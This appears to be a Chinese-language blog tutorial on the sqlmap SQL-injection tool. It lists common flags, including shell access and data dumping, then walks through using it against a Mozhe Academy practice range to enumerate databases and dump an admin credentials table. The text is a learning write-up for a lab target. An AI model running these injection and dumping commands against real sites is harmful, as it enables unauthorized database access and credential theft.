sqlmap是一款可以用於sql注入的工具,我們來淺淺記錄一下工具的學習。滲透注入需要用到的工具不少,但是學習的過程大同小異,所以養成總結的好習慣,在接下來的學習重會更輕松。
貼一下參數詳解,命令行輸入sqlmap -h查看支持的參數:
貼一些用的比較多的參數詳解:
-u 指定目標URL (可以是http協議也可以是https協議) -d 連接數據庫 --dbs 列出所有的數據庫 --current-db 列出當前數據庫 --tables 列出當前的表 --columns 列出當前的列 -D 選擇使用哪個數據庫 -T 選擇使用哪個表 -C 選擇使用哪個列 --dump 獲取字段中的數據 --batch 自動選擇yes --smart 啟發式快速判斷,節約浪費時間 --forms 嘗試使用post注入 -r 加載文件中的HTTP請求(本地保存的請求包txt文件) -l 加載文件中的HTTP請求(本地保存的請求包日志文件) -g 自動獲取Google搜索的前一百個結果,對有GET參數的URL測試 -o 開啟所有默認性能優化 --tamper 調用腳本進行注入 -v 指定sqlmap的回顯等級 --delay 設置多久訪問一次 --os-shell 獲取主機shell,一般不太好用,因為沒權限 -m 批量操作 -c 指定配置文件,會按照該配置文件執行動作 -data data指定的數據會當做post數據提交 -timeout 設定超時時間 --level 設置注入探測等級 --risk 風險等級 --identify-waf 檢測防火牆類型 --param-del="分割符" 設置參數的分割符 --skip-urlencode 不進行url編碼 --keep-alive 設置持久連接,加快探測速度 --null-connection 檢索沒有body響應的內容,多用於盲注 --thread 最大為10 設置多線程
結合之前已經手工注入過的靶場,我們用sqlmap來學習一下sqlmap的使用。
靶場是墨者學院sqlserver手工注入靶場。
首先進行url注入點檢測,用到的命令為:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2(-u是指定url)
過程中可能會跳出一點提示,比如:
這個是說木有設置cookie是否設置啥的,由於我訪問的是搭建好的靶場,所以會問一下。
只要輸入y就好啦。
看看命令運行的結果:
這個返回結果是說存在的sql注入的類型,sqlmap支持的有五種:基於時間盲注、基於布爾盲注、基於報錯的注入、聯合查詢注入、堆查詢注入。
這個注入點存在的有:基於時間盲注、基於布爾盲注、聯合查詢注入、堆查詢注入。
數據庫注入找登錄的管理員數據,首先找到在哪個數據庫哪個數據表然后獲取數據。根據參數組合一下試試。
列出所有數據庫:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 --dbs
列舉一下當前的數據庫:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 --current-db
查詢數據庫中的表名:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 --tables(這一條會列出各個數據庫中所有的表,有點多,咱們也可以指定數據庫)
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -D mozhe_db_v2 --tables
announcement表應該是通知顯示的表,manage表說不定存了管理員的賬號密碼。
但是我還是想先看看 announcement表的所有的數據,咱們先爆一下列名。
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T announcement --columns
有四列,我們爆一下這個表里面所有的數據。
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T announcement --dump
就一條通知。咱們再來看看manage表:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T manage --columns
有賬號密碼,咱們也來爆一下這個表里面的所有的數據。
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T manage --dump --batch(batch參數遇到問選不選y就會自動選y了)
看看結果:
由於我們這次只記錄sqlmap學習,就不驗證靶場了,累了,每次都得去解密。家人們如果你們要解密的話隨便搜一個就行,好像有自動識別是哪個加解密的,我也不太記得是不是md5了。